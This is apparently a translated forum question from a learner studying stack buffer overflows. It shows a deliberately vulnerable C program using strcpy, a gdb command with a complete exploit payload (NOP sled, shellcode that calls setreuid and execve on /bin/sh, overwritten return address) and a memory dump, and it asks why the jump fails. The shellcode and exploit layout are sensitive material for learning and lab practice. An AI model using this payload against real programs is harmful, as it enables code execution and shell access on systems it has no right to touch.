如何使用缓冲区溢出来执行shell代码?

时间:2016-08-06 07:53:45

标签: c linux buffer-overflow buffer-overrun

我正在学习缓冲区溢出如何工作,我尝试了一些基本的缓冲区溢出情况,但我在更改返回地址时出错。返回地址是正确的,内存中的操作也是正确的,但我的问题是rip(指令指针)不会移动到地址。

我的简单程序代码:

int main(int argc, char **argv){
char str[256];
strcpy(str, argv[1]);
printf("%s\n", str);

return 0;
}

首先我在gdb中搜索我的'str'地址,我在0x7fffffffe0d0找到它,返回地址在0x7fffffffe1d8,所以我有264个可用空间来输入NOP和shellcode。但是在我编译之后,gcc仍然给了我分段错误,当我调试它时,gdb问我0x00007fffffffe110 in ?? ()返回地址和我写的语法相同,我想移动到那个地址因为那个内存仍然包含NOP和i tought指令指针将滑动到shellcode。有人可以帮助我解决我的问题。

我在gdb中的语法:

run $(python -c 'print "\x90" * 218 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x10\xe1\xff\xff\xff\x7f"')

0x7fffffffe0d0: 0x9090909090909090  0x9090909090909090
0x7fffffffe0e0: 0x9090909090909090  0x9090909090909090
0x7fffffffe0f0: 0x9090909090909090  0x9090909090909090
0x7fffffffe100: 0x9090909090909090  0x9090909090909090
0x7fffffffe110: 0x9090909090909090  0x9090909090909090
0x7fffffffe120: 0x9090909090909090  0x9090909090909090
0x7fffffffe130: 0x9090909090909090  0x9090909090909090
0x7fffffffe140: 0x9090909090909090  0x9090909090909090
0x7fffffffe150: 0x9090909090909090  0x9090909090909090
0x7fffffffe160: 0x9090909090909090  0x9090909090909090
0x7fffffffe170: 0x9090909090909090  0x9090909090909090
0x7fffffffe180: 0x9090909090909090  0x9090909090909090
0x7fffffffe190: 0x9090909090909090  0x9090909090909090
0x7fffffffe1a0: 0x9090909090909090  0xdb3146b0c0319090
0x7fffffffe1b0: 0x315b16eb80cdc931  0x89085b89074388c0
0x7fffffffe1c0: 0x8d084b8d0bb00c43  0xffffe5e880cd0c53
0x7fffffffe1d0: 0x68732f6e69622fff  0x00007fffffffe110

谢谢!!

0 个答案:

没有答案